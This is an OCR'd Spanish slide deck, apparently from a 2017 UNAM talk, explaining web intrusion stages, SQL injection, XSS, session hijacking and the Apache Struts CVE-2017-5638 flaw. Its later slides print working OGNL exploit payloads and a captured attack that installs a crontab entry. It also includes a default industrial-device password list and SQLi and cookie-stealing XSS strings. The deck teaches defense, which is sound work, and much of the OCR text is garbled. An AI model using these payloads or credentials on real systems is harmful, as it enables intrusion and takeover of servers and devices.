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AGENDA

* Descripcion del proceso de intrusion

* Vulnerabilidades mas comunes
* Técnicas de inyeccion de codigo SQL y
codigo del servidor web

* Secuestro de sesion y credenciales de
autenticacion

* Configuracion inadecuada de permisosy
sistemas no actualizados

Casos CVE-2017-5638 y CVE-2017-9805

* Mejores practicas de seguridad

Security too expensive? Try a hack

Monday June 19th, 2017

Hey the project is
nearly done, we should do
__ 0 security audit to... 4

/ For the security \
| we said we'd hire
\_someone to...

( Too late man, we don't hav
i the time or the budget for that

Hold on, that's not the priority,
Let's get the project started first,
we'll see about that later...

Don't worry, we'll
take care of it later...
N - — gy

t;__; — — ] -
. )

CommtStnp com



2{’; Andrés Tonejito

@Tonejito

. . 7 How | met your #server
Proceso de intrusion -

#DNS #whois #nmap robots.txt
#SSH #SMTP #banner

#HTTP #headers

#PHP X-Powered-By
#DirectoryTraversal
#SQLInjection

search> search category:exploit

.afp-path-vuln.nse
2.distcc-cve2004-2687.nse ##
3.ftp-proftpd-backdoor.nse
4.ftp-vsftpd-backdoor.nse
.http-adobe-coldfusion-apsai3fi.nse
6.http-awstatstotals-exec.nse
.http-axis2-dir-traversal.nse
B.http-barracuda-dir-traversal.nse

Explotacion

e Execution vulnerability
ULNERABLE
CVE:CVE-2017-8143
sk factor: HIGH
critical remote code execution
servers (ms17-010).

Reconocimiento Anadlisis de

vulnerabilidades

Persistencia e

incremento de la
superficie de ataque
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Reconocimiento

En esta fase el intruso busca la mayor cantidad de informacion de los
servicios web directamente e indirectamente:

* Informacion proveida por el servicio web.
* Informacidn proveida por servicio publicos PASIVO
(DNS, google, etc.) ACTIVO

 Herramientas de escaneo (puerto, servicios y
crawlers).



|f www.redisybd.unam.mx

= Background
Site title
Site rank

Description

Keywords
=] Network

Site

Domain

IP address

IPvE address
Domain registrar

Organisation

Top Level Domain

Hosting country

Red Universitaria de Colaboracion en Ingenieria de Software v Base Date first seen August 2010
de Datos

Primary language Spanish

Mot Present

moodle, Red Universitaria de Colaboraci303\263n en Ingenier\303\255a de Software y Base de Datos

hittpifweew redisybd. unam. mx Metblock Owner Universidad Macional Autonoma de Mexico
LEVELITY. T Nameserver ns1. unam.msx
132.24858.13 DNS admin dns [@unam. mx
Mot Present Reverse DNS redisybd. dgp. unam.me
whois. mx MNameserver wihiois. mi
organisation
Mexico, Mexico Hosting company Universidad Macional Autonoma de Mexico
Mexico (.mx) DNS Security Lk nown
Extensions
H=B Mx

=l Hosting History

MNetblock owner

IP address as Web server

Universidad Nacional Autonoma de Mexico Coyvoacan 132 248 58.13 Linux Apachei?.2.26 Unix mod_ssli2.2.26 OpenSs0U1.0.2g PHR/IS.6.13

Last seen
17-Sep-2017

Reiresh

Informacidn sobre el sitio www.redisybd.unam.mx obtenida desde netcraft.com




Nmap scan report for redisybd.dgp.unam.mx (132.248.58.13)
Host is up (0.827s latency).
PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.2.26 ((Unix) mod ssl/f2.2.26 OpenSSL/1.0.2g9 PHP/5.6.13)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Mmap done: 1 IP address (1 host up) scanned in 6.87 seconds

Busqueda de informacion sobre tecnologias y versiones al sitio web redisybd.unam.mx a
través del escaner nmap.
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® lenovo.com & | [Q search A B ¢ A
Server Error in '/' Application.

There is no row at position 0.

Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
Exception Details: System.IndexOwtOfRangeException: There is no row at position 0.
Source Error:

An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.

Stack Trace:

[IndexOutOfRangeException: There is no row at position 0.]
System.Data.RBTree'1.GetNodeByIndex(Int32 userIndex) +2244606
System.Data.DataRowCollection.get Item(Int32 index) +20
PSREF.Page.WebSite.ModelDetail.Page Load(Object sender, EventArgs e) +711

System.Web.UI.Control.LoadRecursive() +71
System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +3178

Version Information: Microsoft . MET Framework Version:4.0.30319%; ASP.NET Version:4.0.30319.34274

Divulgacién de informacién de depuracidon de un servidor en produccién a causa de errores.

19/09/2017 Universidad Nacional Auténoma de México, REDISYBD



Ana

19/09/2017

Pruebas
automatizadas

isis de vulnerabilidades

Durante esta etapa se buscan defectos, erroresy
vulnerabilidades en las tecnologias web identificadas:

 Vulnerabilidades bien conocidas en el servidor web,
rg;‘:\it;fgs manejador de base de datos, bibliotecas,
complementos, etc.

 Vulnerabilidades en la programacion de sistemas web,
variables susceptibles a inyeccion de cddigo, incorrecta
validacion de datos.

 Errores en el diseno, uso de protocolos inseguros,
recursos desprotegidos, etc.

Universidad Nacional Auténoma de México, REDISYBD



nmap -p <port> --script http-vuln-cve2017-5638 <target=

Script Output

PORT STATE SERVICE
80/tcp open http
| http-vuln-cve2017-5638:
| VULNERABLE
Apache Struts Remote Code Execution Vulnerability
State: VULNERABLE
IDs: CVE:CVE-2017-5638

References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
https://cwiki.apache.org/confluence/display/WW/52-045

I

I

I

I

| Disclosure date: 2817-83-87

I

I

I

| http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html

Ejemplo de busqueda de vulnerabilidades con la herramienta nmap

19/09/2017 Universidad Nacional Auténoma de México, REDISYBD



Explotacion

En este proceso el intruso aprovechara la vulnerabilidad identificada
previamente para realizar acciones no autorizadas en el sistema web:

Obtencion de privilegios en el sistema operativo.
Obtencion de privilegios dentro de |la aplicacion web.
Obtencion de privilegios en la base de datos.
Fabricacion o modificacion de contenido y datos.



ATAQUES SOERE WEE EN LA SEMANA

View » | @ Zoom Qut | @ Alerts (1821) countper 1h| (1821 hits)
125

100
I
50

25

e & o + =

DI .II.I.I_. Il.lll IIIIIII.I-I L ] ] I-ll.l-ll..ll -..I.IIIII-I -.--I. I . | . l-l-..‘l--‘ ---I-I-I__ll-._..ll--._. -llll-ll.....-l.-l..ll‘ll- II-IIIII-I-..-I-.I-. -

0000 12:00 00200 12:00 00200 12:00 00:00 12:00 00200 12:00 00:00 12:00 00:00 12200
0913 09-13 0g-14 09-14 09-13 09-13 0916 0g-16 0817 09-17 0918 09-18 0919 09-19
TIPO DE ATAQUE 6 & & + x IP ORIGEN 6 & & + x
Term Count Action Term Count Action
ET WEB_SERVER PHP Possible htips Local File Inclusion Attempt 700 Qo 5.188.10.250 798 Qo
ET WEB_SPECIFIC_APPS Possible Apache Struts OGNL Expression Injection (CVE-2017-5638) M3 301 Qe 200.77.226.204 56 Qe
ET WEB_SPECIFIC_APPS Possible Apache Struts OGNL Expression Injection (CVE-2017-5638) M2 301 Qe 202.98.194.202 o1 Qe
ET WEB_SPECIFIC_APPS Possible Apache Struts OGNL Expression Injection (CVE-2017-5638) 299 Q@ 202.29.212.93 36 Qo
ET WEB_CLIENT Possible HTTP 403 XSS Attempt (External Source) 58 Qo 66.102.6.149 3 ge
ET SCAN Nmap Scripting Engine User-Agent Detected (Nmap Scripting Engine) 39 Qo ;291;;?:13;143 23 2 g
ET SCAN Tomcat Auth Brute Force attempt (admin) 28 Qo 66.102.6.118 o4 Qo
ET EXPLOIT Joomla RCE M3 (Serialized PHP in XFF) 12 Qo 66.102.6.150 21 Qo
ET EXPLOIT Joomla RCE M2 (Serialized PHP in UA) 12 Qo 66.102.6.120 o1 Qo
ET EXPLOIT Joomla RCE (JDatabaseDriverMysqli) 12 Qo

Grafica de ataques web registrados en una semana con el IDS Suricata

19/09/2017 Universidad Nacional Auténoma de México, REDISYBD




Persistencia e incremento de |a superficie del
ataque

* Ejecucion de programas para
la persistencia de la intrusion.

* Busqueda de nuevos recursos
Y Servicios para incrementar
privilegios o el area de
ataque. Se repite el proceso.

19/09/2017 Universidad Nacional Auténoma de México, REDISYBD



dante@parrot
$more httpd.conf

Informacidn trasmitida desde un servidor web comprometido a un
servidor utilizado para transacciones de criptomoneda.



DID YOU REALLY WELL, WE'VE LOST THIS

NAME YOUR SON YEAR'S STUDENT RECORDS.
Robert'); DROP I HOPE YOURE HAPPY.
TABLE Students;-~ 7 \I’

AND I HOPE
~OH.YES LITTLE - YOUVE LEARNED
BOBBY TABLES, L TOSANMZE YOUR
WE CALL HIM. DATABASE INPUTS.

Vulnerabilidades mas comunes
en las tecnologias web




100

70

10

Distribucion de vulnerabilidades mas comunes cada ano

TIME AMND STATE
source cone [l
SECURITY FEATURES |
soL iecTion [
RESOURCE MANAGEMENT ERRORS |
race conpimons [
PERMISSIONS, PRIVILEGES, AND ACCESS CONTROL [
raTH TRAVERSAL [
PATH EQUIVALENCE
otHeR [
0S COMMAND IMJECTIONS
nuMERIC ERRORS [
LOCATION
Link FoLLowinG [
MSUFFICIENMT VERIFICATIOM OF DATA AUTHENTICITY
insUFFICIENT INFORMaTION [l
INPUT VALIDATION
igecTion [
INFORMATION MAMAGEMENT ERRORS
iINFORMATION LEAK / DiscLosURE [
INDICATOR OF POOR CODE QUALITY
imPROPER AcCESS conTROL [l
FORMAT STRING VULNERABILITY [
pata HAaNDLING [
CRYPTOGRAPHIC ISSUES |
CROSS-SITE SCRIPTING ix5S) [
CROSS-SITE REQUEST FORGERY (CSRF) |
creDEnTIALS ManacEMENT [
COMFIGURATION
commanp iNecTioN [

CODE INJECTIOM

cooe [

BUFFER ERRORS
autHenTicaTioN 1ssues [

2008 2009 2010 2011 2012 2013 2014

2015

2016

15/09/2017 Estadistica tomada de https://nvd.nist.gov/vuln/visualizations/cwe-over-time

2017



Inyeccion de codigo

* Este tipo de ataque aprovecha la confianza que tienen las tecnologias
web (navegador, servidor web, manejador de base de datos) en los
datos que se transfieren mutuamente.

 Estos datos son modificados intencionalmente para ejecutar codigo
arbitrario en las tecnologias que no validan los datos de entrada.



Page 1 '\:/' \_/ '\:/'

Ejemplos -

I/_\I I/_\I I/_\I
</> { . 5 Page 1 NS
I/_\I I/_\I I/_\I sﬂ

Page 1 (AN AN

https://www.draw.io
webshell
db  fleinclusion —
‘ directory traversal

https://www.draw.io

'-'</>

sQL injection

Page 1

https://www.draw.io

19/09/2017




Inyeccion de codigo SQL

* Es un ataque orientado a los servicios web que generan codigo
dinamicamente y utilizan una base de datos SQL para ello.

e Ocurre cuando no hay una verificacion de los datos externos que se
usan para generar la consulta a |la base de datos, y se ejecutan.

-t Administrator Login :-

Usemame ; hi' or 1=1--



<?7php

if(isset($ GET['Submit'1)){

'/ Retrieve data

$id =% GET['1d'];
$getid = _ _
sresult =/ mysql_query(s$getid)| or die('<pre=" . mysql_error() . '</pre=' };
User ID:
2 1 [ Submit $num = mysql numrows($result)
II:Erﬁi name: Gordon $1 = EI:
Surname: Brown
while ($1 < $num) {
vista
§first = mysql result($result,$i,"first name");
§last = mysgl result($result,$i,"last name");
echo '<pre=';
echo '"ID: ' . %$id . '<br=First name: ' . $first . ‘<br=Surname: ' . $last;
echo '</pre>';
$1++;
¥
} .
75 Cadigo fuente

19/09/2017

Sitio vulnerable a inyeccion SQL tomado del proyecto DVWA (http://www.dvwa.co.uk)




<?php

if(isset($ GET['Submit'])){

'/ Retrieve data

( || submit $id = § GET['id'];
ID: 1' OR TRUE -- $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
First name: admin $result = mysql query($getid) or die('=pre=' . mysql_error() . '</pre>' J;

surname: admin

ID: 1' OR TRUE -- $num = mysql_numrows($result);

First name: Gordon

surname: Brown $1=0;

ID: 1' OR TRUE -- while (%1 < $num) {

First name: Hack

Surname: Me $first = mysql_result($result,$i,"first name");

ID: 1' OR TRUE -- $last = mysgl result($result,$i,"last name");

First name: Pablo

surname: Picasso echo '<pre>';

echo 'ID: ' . $id . '<br=First name: ' . $first . '<br=Surname: ' . $last;
echo '</pre>';

vista $i++;

Cddigo fuente

Sitio vulnerable a inyeccion SQL tomado del proyecto DVWA (http://www.dvwa.co.uk)

19/09/2017 Universidad Nacional Auténoma de México, REDISYBD



XSS

* El objetivo del ataque es insertar codigo ilegitimo interpretable por
un navegador web, con el fin de que los usuarios lo ejecuten.

e Ocurre cuando no hay una verificacion de los datos externos que se
usan para generar contenido dinamicamente.

€ 9 ¢ A

<>

XSS




What's your name?

Juan Submit

Hello Juan | contenido generado dinamicamente

vista del sitio

<7php
if(larray key exists ("name", % GET) % GET['name'] == MULL & GET['name'] == ""}{
Sisempty = true;
I else {
echo '=pre=‘;
echo 'Hello ' . $ GET['name'];
echo '=/pre="';
}

T

Cddigo fuente

18/09/2017 Sitio vulnerable a XSS tomado del proyecto DVWA (http://www.dvwa.co.uk)



What's your name?

Submit

Hello

This feature requires account login:

Enter Usermname:

Enter Password:

login

Vista en el navegador

</PRE> <form> <br><br><HR> <H3>This feature requires account login:</H3 >
<br><br> Enter Username:<br><input type="text" id="user" name="user"><br>

Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" /></form> <br><br><HR>
<PRE>

Cddigo fuente HTML inyectado

19/09/2017 Universidad Nacional Autdnoma de México, REDISYBD



€ Zimbra: Inbox (1) »

€ P @ hips/19216816311 <1

&) zimbra

Contacts Calendar Tasks Briefcase Preferences

New Message Y.

v Mail Folders Sorted by Date © 1 conversation

To view a conversation, click on it.
& lbox(h) Y ey 6:49 PM
£ Sent

test : @ atiie g coinpn il .
£3 Drafts

£3 Junk \\W\'onmouseover="alert(/xs<script> hah(/X55/); < /script>javascript:alert(document.cookie);// <img src=1 onerror=hah('1')> <img ...
o un

ﬁ Trash

Searches

Tags
» Zimlets

4 ¢ November2015 » »

.2 2 & "% & 7
8 9 10 11 12 13 U
15 16 17 18 19 20 2

B u[B]s 2 =»

i 8 9 10 11 12

Ataque de XSS a servidor de correo Zimbra tomado de: https://www.youtube.com/watch?v=26f59aHaCfw




' Zimbra: Inbox X _ )
€ P @ s 1921681631071 e | | Q search v"Ee U3+ A =

Please re-login with your password

ok ] [oomn |

Ataque de phishing a través de un XSS a un servidor de correo Zimbra tomado de:
https://www.youtube.com/watch?v=26f59aHaCfw




Secuestro de sesion y credenciales de
autenticacion.

* Es un ataque enfocado a la impersonalizacion de usuarios en los servicios
Web, eludiendo los mecanismos de autenticacion y gestion de sesiones
implementados en las aplicaciones.

* La autenticacion es el proceso mediante el cual se busca verificar la identidad
digital del usuario, mediante este ataque se pueden obtener credenciales de
acceso y/o el identificador de sesion.

https://us.123rf.com

19/09/2017 Universidad Nacional Auténoma de México, REDISYBD



OWASP Top 10-2010
A1l-Inyeccion

A2-Secuencia de comandos

en sitios cruzados XSS5

43-Pérdida de autenticacion y
gestion de sesiones

OWASP Top 10-2013

Al-Inyeccion

A2-Perdida de autenticacion y
gestion de sesiones
A3-Secuencia de comandos en
sitios cruzados XS5

https://www.owasp.org

OWASP Top 10 2017

A1:2017 = Injection

A2:2017 = Broken Authentication and Session
Management

A3:2013 = Sensitive Data Exposure

A:2017 = XML External Entity (XXE) [NEW]
20 NOV, 2017

OWASP Top 10 2017
is Releasied

Top Ten OWASP

19/09/2017

Universidad Nacional Auténoma de México, REDISYBD
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Esguemas de autenticacion

* Digest (Funcion de Digestion

e Basico

Bienvenido

BASEG4

Decode and Encode

https://www.base64decode.org/

19/09/2017

HASH)

GET http://192.168.91.140:8080/login HTTP/1.1 Bienvenido
HTTP/1.1 401Authorization Required b=
www.Authenticate: Basic realm=cert.dgp.unam.com -

- A
[«

GET http://132.168.91.140:8080/\Web Goat/index HTTP/1.1

Authorization: Basic d2Vi 223hdDp32WJInb2FO

hola:hola

DICTIONARY ATTACK!

) =

https://i.pinimg.com

md5 S5ce1d80974

Universidad Nacional Auténoma de México, REDISYBD

GET http://192.168.91.140:8080/10gin HTTP/1.1

»
~

HTTP/1.1 401Authorization Required

a
www.Authenticate: Digest realm=cert.dgp.unam.com
nounce= "BydfhryJUudjinde7dm90m"
algorithm=MD5 qop="auth"
»

GET http:/1192.168.91.140:8080/WebGoat/index HTTPM1.1

Authorization: Digest username="hola"
nounce=_"YE48|drfdos modtitht0"
realm d2ViZ28hdDp32WJInb2FO

htmidb

I 1
bombi

pupsi

2006-11-11

https://www.owasp.org/images/e/e6/Bf-milworm.jpg



Esguemas de autenticacion

* Integracion con Windows * Basado en formularios
(NTLM)

Bienvenido

1 .Solicitud del cliente

i

El usuario envia datos
en formulario

2. El servidor envia
valor nonce

3. Respuesta del cliente
cifrada ]

l - -
Usuario recibe el
formulario

-

6. Naotificacion de acceso

4 El servidor envia:
nombre de usuario y
respuesta del cliente cifrada

al DC

Validacion de

% 3 E credeciales de acceso
5. Autenticacion

del cliente en el DC

19/09/2017 Universidad Nacional Auténoma de México, REDISYBD



Esguemas de autenticacion

Algo que

* Métodos mas complejos como: ce sabe

* Biométricos

* Token

* SAMLY OpenlD, JIWT

* Generadores de codigo de acceso para navegadores

* OAuth 2.0

O ABC

i

Algo que
se tiene

\ 4 .-

https://www.draw.io/

19/09/2017 Universidad Nacional Auténoma de México, REDISYBD



resl | @

- Peticion autentica

t Robo de sesion o
credenciales de autenticacion

Sesion secuestrada

19/09/2017 Universidad Nacional Auténoma de México, REDISYBD



https://www.owasp.org

¢Como pueden hacerlo?

* Robo de cookies mediante XSS (document.cookie

fParsed " Raw |
Method URL
IPOST | |http://127.0.0.1:80/WebGoat/lessons/ajax/eval jsp

Header Value
Host 127.0.0.1
e e | JSESSIONID=92633C1079D1F31CF2734482063E482E
|/ URLEncoded r Text |/ Hex | [J Prevent this page from creating additional dialogs

’rieldl=122 Talert{document.cookie); (' %field2=4128 3214 0002 1999

Aplicacion vulnerable del proyecto OWASP
(https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project)

19/09/2017 Universidad Nacional Auténoma de México, REDISYBD



https://www.wireshark.org/

¢Como pueden hacerlo?
Wire
* Envio de credenciales de autenticacion y/o ID de sesidon por métodos

L]
I n S e g u ro S Wireshark - Follow TCP Stream (tcp.stream eq 314) - wireshark_eth0_20170913140047_3200i0 @ @ ©

7 . o GET /ciencias.html?user=santiago&pass=santiago HTTPfle =
* Por GET (url) y POST (basico y Digest) e

Accept: text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Referer: http://192.168.91.138/ciencias.html

Connection: keep-alive

POST tt J";"192 168.91.140:808 (@WebGoat/login HTTP/1.1 Upgrade-Insecure-Requests: 1

Host: 192.168.91.138

User Agent M02|I|af5 D (¥11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Paros/3.2.13

Accept: text/html,application/xhtml+xml,application/xml:q=0.9,%/%:q=0.8 HTTP/1.1 280 OK

Accept-Language: en-US,en:q=0.5 Date: Wed, 13 Sep 2017 22:25:20 GMT
Referer: http://192.168.91.140:8080/WebGoat/login Server: Apache/2.2.22 (Debian)

e _ Last-Modified: Wed, 13 Sep 2017 22:21:01 GMT
Cookie: JSESSIONID=012642AD214FD444D50DBEGI18F123B5F ETag: "200d4-4fd-559199324db96"

Connection: keep-alive o e e
Upgrade-Insecure-Reguests: 1 )
Content-Type: application/x-www-form-urlencoded

Content-Length: 35

Request | Response Trap
sername=santiago&password=santiago GET http://192.168.91.144/WebGoat/attack HTTP/1.1

Host: 192.168.91.144

User-Agent: Mozilla/3.0 (X11: Linux x86_64; rv:52.0) Gecko/20100101 Firefox/32.0 Paros/3
.2.13

Accept: text/html application/xhtml+xml.application/xml;g=0.9,%/*:q=0.8
Accept-Language: en-US,en;q=0.5

Referer http //192.168.91.144/

edmine; acgroupswithpersist=nada

Upgrade Insecure Requests: 1

Aplicacion vulnerable del proyecto OWASP

19/09/2017 (https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project)



http://cdn.freeperformancesoftware.com

I CPDUMP

* Envio de credenciales de autenticaciéon y/o ID de sesién por

meétodos inseguros
* Redireccion entre HTTPS y HTTP

A\dHypertext Transfer Protocol

QI POST /iEmp/UI/Login?goto=https'y
Host :
User-Agent: curl/7.50.1\r\n
Accept: */*\r\n

> Content-Length: 42\r\n
Content-Type: application/x-www-form-urlencoded\ri\n
\r\n

¢Como pueden hacerlo?

[HTTP request 1/1]

File Data: 42 bytes
¥ HTML Form URL Encoded: gpplication/x-www-form-urlencoded
Form item:

Informacidn sensible transmitida por canales inseguros



¢Como pueden hacerlo?

. ~ . 7 in ldentifier : | 127.0.0.1\WebGoat WEAKID
* Diseno y gestion del ID . Vo
., 111143327 12430}1163252047028
de sesion 1111 14:33:27 12431]11632520071 38
1111 14:33:27 12432}1163252047247
. . . s 1911 14:33:27 12433111632520037

* Tiempo de expiracion 101114:33:27 12434}1163252007544
111 14:33:27 12435{11632520

* Prediccion de ID de sesion 1111 14:33:27 12436{11632520
111 14:3327 12437}1163252007672
11114:3328_ 12438}1163252007987
1111 14:33:28 12439}11632520
1111 14:33.28 12440{11632520
1/1114:33.28 12442116325200831
1111143328 12443}116325201
111 14:33:28 1244411632520
1111 14:33:28 12445{11632520
1/1114:33:28 12446{11632520087
1111 14:33:28 12447}1163252008857
1111 14:33:28 1244811632520

1/11 14:33:29 12449411632520

Aplicacion vulnerable del proyecto OWASP
19/09/2017 (https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project)



https://getfirebug.com/

—

i C¢ ? =
¢COmo pueden hacerlo: . (/’V
N

* Otros métodos
* Acceso inseguro a objetos ( contrasefias “hardcodeadas”)

$5CLDL Strangelove Default/Hardcoded Passwords List,,, ..«

$Find more at http://www.scada.=1l,,,,,«

$Please contact us at scadastrangelovelgmail.com and @scadasl,,, ...

$releaze 1.1 by Oxana Lndreeva (oxana.andreeva@inboX.XU), rree

rFrrrrer

Vendor, Device,Default password, Port,Device type,Protocol, Source
LBE,AC BO0OM, service:ABBEOOxRL, ,Controller, ,https://library.e.abb.com/public/f355a67551
ABE, SREA-01,admin:admin, 80/tcp, Ecthernet Adapter Module, http,https:,//www.inverterdrive
Adcon Telemetry,Telemetry Gateway AS40 and Wireless Modem 2440, root:B840sw, terminal pr
Adcon Telemetry, addVANTAGE Pro 6.1,root:root, 8080 /tcp, HMI,HTTF, http://adcon.com/index
Advantech, Advantech Webliccess browser-based HMI and S5CADR software, admin:blank, 80/tcp
Allied Telesis,"IE200 Series: AT-IE200-&6GT, AT-IEZ200-6GF, AT-IEZ200-6FT, AT-IEZO00-&FBE"
f£ile/IE200 InstallGuide RevC.pdf
ELECT RCWICS CR10 w2, Toot: root, 80/tep, Industrial router,http,http://tekniska.pl/do
ELECTRONICS,Conel 4.0.1,root:root, 80/tcp, Industrial router,http,http:/ conel.rufs
ELECTRONICS, SFECTRE Router,root:root,80/tcp, Router, http,b&b electronics SPECTRE R
ELECTRCONICS,ER75i/ER 75i DUOD/ER 75i S5L/ER75i w2, root:root,B80/tcp, Industrial route
ELECTRONICS,LR77T w2 Libratum/LR77 v2,root:root,80/tcp, Industrial router,http, "htr)
ELECTRONICS,URSi w2,root:root,850/tep, Industrial router,http,http://www.cd. lucom.d
ELECTRONICS,UCR11-v2/UCR11 w2 5L, root:root,80/tcp, Industrial router,http,http://w
ELECTRONICS,XR5i v2E/XR5i w2/XRS5i/XR5i 5L, root:root,80/tcp, Industrial router,http
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https://www.owasp.org

¢Como pueden hacerlo?

* Acceso inseguro a objetos ( contrasefias “hardcodeadas”)
€« C I s/ users.txt

name: "idUsuario',
{ value: ', /
"user":
tf width: 150,

"user name":"ga",

" won on enableKeyEvents: true,
password":"qga",

"benh_vien_id": 2 listeners: {
e { keyvup: functioni{form, e} {
“user_name®:“kien”, var tecla = e.getKey();
password":"kien", if({tecla === 13) [
"benh_vien_id": 2 -
A = - // SE DESHABILITA EL BOTON DE ENVIAR
"user name":"papi", Ext.getCmp{"id btEnviar") .setDisabled{true);
] pap ) 18] -
"password":"papi",
w bezh viap jc 1 2 // SE VALIDA AL USUARIO
"password":"ito", }
"benh_vien_id": 1 3
H s key @ functioni{key) {

return this.map [key];
}
}
ot
xtype: "label',
2: 100, y:108,
text: 'Contrasefia'
ot
wtype: "textfield',
x:165 ,v:100
id: 'contrasenia',
name: 'contrasenia',
inputType: 'password',

19/09/2017 value:'', //1, //




¢Como pueden hacerlo?

* Robo de credenciales mediante Phishing

HOLA AMY
HABLA PAUL DE TI
ESTOY TRABAJAND
DESDE CASA...

. ,
http://www.computer-lock.com I n

http://sipyme.org

S~
Digite su usuario
y contrasena

) [fissia

https://www.vodafoneteayuda.

http://ourizclick.ma/
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 Robo de credenciales mediante Phishing

" = 2 ; : iR
@ A ‘\f ) (O &  hitps:/jawfc,000webhostapp.com/DGF Lk (& | ‘ Q, search | a L Via f: iPhone Wa Music Support

c HC‘\ Search | a =

App|€ | D Create AppleID  FAQ

~

Version Default - |t

I Remember me

-

Forgot Apple |0 or password?

Zimbra : the leader in open source messaging and collaboration :: Blog - Wiki - Forums
Copyright® 2005-2014 Zimbra, Inc. All rights reserved. "Zimbra" is 3 registered trademark of Zimbra, [Powered by {-* 000webhost

Vaiir arennint far ovianthina Annla -

Casos de phishing
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Las siguiente presentacion contiene imagenes de alto impacto
visual

Se recomienda discrecion

Universidad Nacional Autonoma de México, REDISYBD 19/09/2017



CVE-2017-5638

* 7 marzo de 2017

 30-Day

y  Ejecucion remota de comandos
e Permisos de administracion

:~/Desktop# python struts.py http://www. action
"whoami"
[*] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: whoami

root 19/09/2017




Descripcion de la vulnerabilidad

« Sitio de apache: * Sitio mitre:

* Posible ejecucion de codigo remoto « El parser Jakarta Multipart en apache
cuando se realiza la carga de un Struts 2.2.3.x antes de 2.3.32 y 2.5.x
archivo con el parser Jakarta antes de 2.5.10.1 no maneja
Multipart. correctamente la carga de archivos,

L lo cual permite a los atacantes

. ejecutar comandos mediante la

e Actualizar a Struts 2.3.32 o Struts cadena #cmd en el encabezado HTTP

2.510.1. Content-Type.

Universidad Nacional Autonoma de México, REDISYBD 19/09/2017



https://struts.apache.org/docs/s2-045.html
https://struts.apache.org/docs/s2-045.html
https://struts.apache.org/docs/s2-045.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638

Payload

def exploit(url, cmd):
payload = "%{(# ="multipart/form-data’)}."
payload "(#dm=gognl. Ggrl[mntextmDEFHULT MEMBER_ACCESS)."
payload E:; mﬁﬂbﬁFhCEE:S?”
payload (# membericcess=#dm):
payload ( (#container= #curtegt[ com.opensymphony . xwork2 . ActionContext.container']).
payload (#ognlUtil=#container.getInstance(@com. DpEﬂSthhDry.xwﬂﬁkz.DgnL.GgrlUtil@claSS}
payload (#ognlUtil.getExcludedPackageNames().clear())."
payload (#FognlUtil.getExcludedClasses().cl eav(‘ "
payload (#context. SE—WﬁmbﬁPHcce:S (#dm)))).
payload “(Hcmd "Bs')." ¥ omd
(
(
(
(
(
(
(#

payload "(#iswin= [m]awa.leng.System@getPPDpEﬂty os.name’ tGLGHEPCa: ().contains{ 'win
payload #Fomds= (FiSHiFj{'EWd exe', ' fc',#omd} - ehlnfhabh c',#Fomd}))."”

payload "

payload

payload
payload
payload

#p=new java.lang. PPGEE;SELlldﬂP’#EHdS ).

#p.redirectErrorstream(trus)). [#pFDCﬁS: =#p.start()).”

#ros=(gorg. apacka.:trutSE ServletActionContextiggetResponse() . getOutputsStream()

gorg.apache.commons. io.I0Utils@copy (#process. getInputStream(),#ros))."
ros.flush(})}"

try:
headers = {'User-Agent': 'Mozilla/5.8", 'Content-T




Detalles tecnicos de la vulnerabilidad

GET ey e

Host 132.248

Connection: keep-alive
Accept-Encoding: ozip, deflate
Accept "

User-Agent Mozilla/5.0

Content-Type: %{(#_=multipartform-data’) (#dm={@ognl OgniContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm|:((#container=¢contexf'com opensymphony.xwork2 AcfionContext container])
(#ogniUtil=#container getinstance(@com.opensymphony.xwork2.ognl. OgniUtil@class)). #ognlUtl getExcludedPackageNames().clear()). #ognlUtil getExcludedClasses().clear()). #context setMemberAccess (#dm||) Jcmd=echo ~ -~ ygel-U.- |

[ | crontab - ) (#iswin=(@java lang.System@getProperty( os.name’) foLowerCase().contains(win')) Jecmds=(#iswin?{ tmd exe’ I #tmdr{/bin/bash -
#p=new java.lang.ProcessBuilder(#cmds)).#p redireciErmorStream(true)).(#process=rp.start()).(#ros=(@org.apache struts2 ServietAction Context@getResponse().getOutputSream )
\(@org.apache.commans o IOUts@copy #process.getinputStream() #ros|). #ros flush() |}

Universidad Nacional Autonoma de México, REDISYBD 19/09/2017




POST HTTP/1.0

Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;
MAXTHON 2.0)

- Www.personal.unam.mx
Content-Length: 516

method:%23_memberAccess%3d@ognl.OgniContext@DEFAULT_MEMBER_ACCESS,%23res%3

d%40org.apache.struts2.ServietActionContext%40getResponse(),%23res.setCharacterEncoding(

%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java
Jlang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getinputStream()).useDelimiter(%23pa
